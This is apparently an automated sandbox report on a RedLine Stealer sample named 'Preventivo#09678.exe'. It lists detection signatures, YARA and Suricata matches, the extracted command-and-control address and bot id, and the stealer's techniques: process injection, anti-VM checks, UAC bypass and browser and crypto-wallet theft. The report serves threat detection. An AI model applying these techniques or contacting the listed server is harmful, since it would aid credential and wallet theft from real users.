Edit tour

Windows Analysis Report
Preventivo#09678.exe

Overview

General Information

Sample name:	Preventivo#09678.exe
Analysis ID:	1555180
MD5:	761710e429b4487833e5f9695da7a981
SHA1:	eb09e34e35e06d4fee5f01bf57124a80c0e61917
SHA256:	82b00503241fb05e5891a11a701a6706fbe2319cffe309c16df7517cfe259011
Tags:	exeuser-lowmal3
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected RedLine Stealer

Yara detected UAC Bypass using CMSTP

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file does not import any functions

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Preventivo#09678.exe (PID: 5092 cmdline: "C:\Users\user\Desktop\Preventivo#09678.exe" MD5: 761710E429B4487833E5F9695DA7A981)

jsc.exe (PID: 6936 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" MD5: 94C8E57A80DFCA2482DEDB87B93D4FD9)

conhost.exe (PID: 1408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 6560 cmdline: C:\Windows\system32\WerFault.exe -u -p 5092 -s 1152 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["193.70.111.186:13484"], "Bot Id": "hyce"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.1431123502.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.1431123502.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000007.00000002.1431123502.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
00000000.00000002.1518059605.00000213CB9A7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000007.00000002.1432476685.00000000031E0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x2bb42:$a4: get_ScannedWallets 0x4398a:$a4: get_ScannedWallets 0x2a9a0:$a5: get_ScanTelegram 0x427e8:$a5: get_ScanTelegram 0x2b7c6:$a6: get_ScanGeckoBrowsersPaths 0x4360e:$a6: get_ScanGeckoBrowsersPaths 0x295e2:$a7: <Processes>k__BackingField 0x4142a:$a7: <Processes>k__BackingField 0x274f4:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3f33c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x28f16:$a9: <ScanFTP>k__BackingField 0x40d5e:$a9: <ScanFTP>k__BackingField
Process Memory Space: Preventivo#09678.exe PID: 5092	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Preventivo#09678.exe PID: 5092	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Preventivo#09678.exe PID: 5092	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: Preventivo#09678.exe PID: 5092	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: Preventivo#09678.exe PID: 5092	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0xfbcc5:$a4: get_ScannedWallets 0xfab6c:$a5: get_ScanTelegram 0xfb94e:$a6: get_ScanGeckoBrowsersPaths 0xf97ff:$a7: <Processes>k__BackingField 0xf6d32:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xf9133:$a9: <ScanFTP>k__BackingField
Process Memory Space: jsc.exe PID: 6936	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: jsc.exe PID: 6936	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: jsc.exe PID: 6936	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x7c744:$a4: get_ScannedWallets 0x7b5eb:$a5: get_ScanTelegram 0x7c3cd:$a6: get_ScanGeckoBrowsersPaths 0x7a27e:$a7: <Processes>k__BackingField 0x777b1:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x79bb2:$a9: <ScanFTP>k__BackingField
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.2.jsc.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.jsc.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
7.2.jsc.exe.400000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
7.2.jsc.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ea:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cb:$v2_6: GetUpdates
0.2.Preventivo#09678.exe.213dbf0c578.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Preventivo#09678.exe.213dbf0c578.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.Preventivo#09678.exe.213dbf0c578.3.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
0.2.Preventivo#09678.exe.213dbf0c578.3.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ea:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cb:$v2_6: GetUpdates
0.2.Preventivo#09678.exe.213dbf0c578.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Preventivo#09678.exe.213dbf0c578.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.Preventivo#09678.exe.213dbf0c578.3.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x2b412:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x2a270:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x2b096:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0x28eb2:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x26dc4:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField 0x287e6:$a9: <ScanFTP>k__BackingField
0.2.Preventivo#09678.exe.213dbf0c578.3.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x282d2:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x2b989:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x20f78:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x2aec1:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x284d3:$v2_2: get_ScanVPN 0x28576:$v2_2: get_ScanFTP
0.2.Preventivo#09678.exe.213dbf243c0.10.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Preventivo#09678.exe.213dbf243c0.10.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.Preventivo#09678.exe.213dbf243c0.10.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
0.2.Preventivo#09678.exe.213dbf243c0.10.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ea:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cb:$v2_6: GetUpdates
0.2.Preventivo#09678.exe.213dbf243c0.10.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Preventivo#09678.exe.213dbf243c0.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.Preventivo#09678.exe.213dbf243c0.10.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
0.2.Preventivo#09678.exe.213dbf243c0.10.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ea:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cb:$v2_6: GetUpdates
Click to see the 15 entries

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T15:02:36.873290+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.7	49730	TCP
2024-11-13T15:03:14.847087+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.7	49944	TCP

ET MALWARE RedLine Stealer - CheckConnect Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T15:02:32.758524+0100	2045000	1	Malware Command and Control Activity Detected	193.70.111.186	13484	192.168.2.7	49699	TCP

ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T15:02:35.793333+0100	2045001	1	Malware Command and Control Activity Detected	193.70.111.186	13484	192.168.2.7	49699	TCP

ETPRO MALWARE RedLine - CheckConnect Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T15:02:27.715629+0100	2849662	1	Malware Command and Control Activity Detected	192.168.2.7	49699	193.70.111.186	13484	TCP

ETPRO MALWARE RedLine - EnvironmentSettings Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T15:02:33.019894+0100	2849351	1	Malware Command and Control Activity Detected	192.168.2.7	49699	193.70.111.186	13484	TCP

ETPRO MALWARE RedLine - GetUpdates Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T15:02:37.850321+0100	2848200	1	Malware Command and Control Activity Detected	192.168.2.7	49744	193.70.111.186	13484	TCP

ETPRO MALWARE RedLine - SetEnvironment Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T15:02:35.854568+0100	2849352	1	Malware Command and Control Activity Detected	192.168.2.7	49731	193.70.111.186	13484	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.Preventivo#09678.exe.213dbf0c578.3.raw.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["193.70.111.186:13484"], "Bot Id": "hyce"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Preventivo#09678.exe

Joe Sandbox ML: detected

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 00000000.00000002.1518059605.00000213CB9A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Preventivo#09678.exe PID: 5092, type: MEMORYSTR

Source: Preventivo#09678.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Windows.Forms.pdbx source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdbdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.pdb) source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Drawing.ni.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdbe(Syste] source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: Microsoft.VisualBasic.pdb0<c source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb/ source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Core.ni.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb1 source: Preventivo#09678.exe, 00000000.00000002.1516742980.00000213C9905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb.Forms.pdbpdbrms.pdbm.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.pdb source: Preventivo#09678.exe, 00000000.00000002.1515781633.000000FB88EF2000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: Preventivo#09678.exe, 00000000.00000002.1516742980.00000213C9905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.pdb2 source: Preventivo#09678.exe, 00000000.00000002.1515781633.000000FB88EF2000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\System.Windows.Forms.pdbs\ source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HC:\Windows\System.Windows.Forms.pdb@ source: Preventivo#09678.exe, 00000000.00000002.1515781633.000000FB88EF2000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Configuration.pdbpx source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Core.pdbP source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Xml.ni.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb source: Preventivo#09678.exe, 00000000.00000002.1516742980.00000213C9977000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\System.Windows.Forms.pdbP source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Windows.Forms.pdbpdbrms.pdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdbngI source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Configuration.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Xml.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Drawing.pdbH source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: Preventivo#09678.exe, 00000000.00000002.1516742980.00000213C9905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp, Preventivo#09678.exe, 00000000.00000002.1515781633.000000FB88EF2000.00000004.00000010.00020000.00000000.sdmp, WERCF7B.tmp.dmp.11.dr
Source:	Binary string: mscorlib.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Windows.Forms.pdbt source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Windows.Forms.pdbk source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Core.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Windows.Forms.pdbF9E-7F9C-4437-8B11-F424491E3931}\ServerF9C-4437-8B11-F424491E3931}\InprocServer32 source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.pdb source: Preventivo#09678.exe, 00000000.00000002.1516742980.00000213C9977000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Windows.Forms.pdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: symbols\dll\System.Windows.Forms.pdb source: Preventivo#09678.exe, 00000000.00000002.1515781633.000000FB88EF2000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Windows.Forms.pdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERCF7B.tmp.dmp.11.dr

Source: C:\Users\user\Desktop\Preventivo#09678.exe	Code function: 4x nop then jmp 00007FFAAC632D02h		0_2_00007FFAAC632AB5
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Code function: 4x nop then jmp 00007FFAAC633E8Ch		0_2_00007FFAAC633C81

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.7:49699 -> 193.70.111.186:13484
Source: Network traffic	Suricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 193.70.111.186:13484 -> 192.168.2.7:49699
Source: Network traffic	Suricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.7:49699 -> 193.70.111.186:13484
Source: Network traffic	Suricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 193.70.111.186:13484 -> 192.168.2.7:49699
Source: Network traffic	Suricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.7:49731 -> 193.70.111.186:13484
Source: Network traffic	Suricata IDS: 2848200 - Severity 1 - ETPRO MALWARE RedLine - GetUpdates Request : 192.168.2.7:49744 -> 193.70.111.186:13484

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 193.70.111.186:13484

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 13484
Source: unknown	Network traffic detected: HTTP traffic on port 13484 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 13484
Source: unknown	Network traffic detected: HTTP traffic on port 13484 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 13484
Source: unknown	Network traffic detected: HTTP traffic on port 13484 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 13484
Source: unknown	Network traffic detected: HTTP traffic on port 13484 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 13484 -> 49744

Source: global traffic

TCP traffic: 192.168.2.7:49699 -> 193.70.111.186:13484

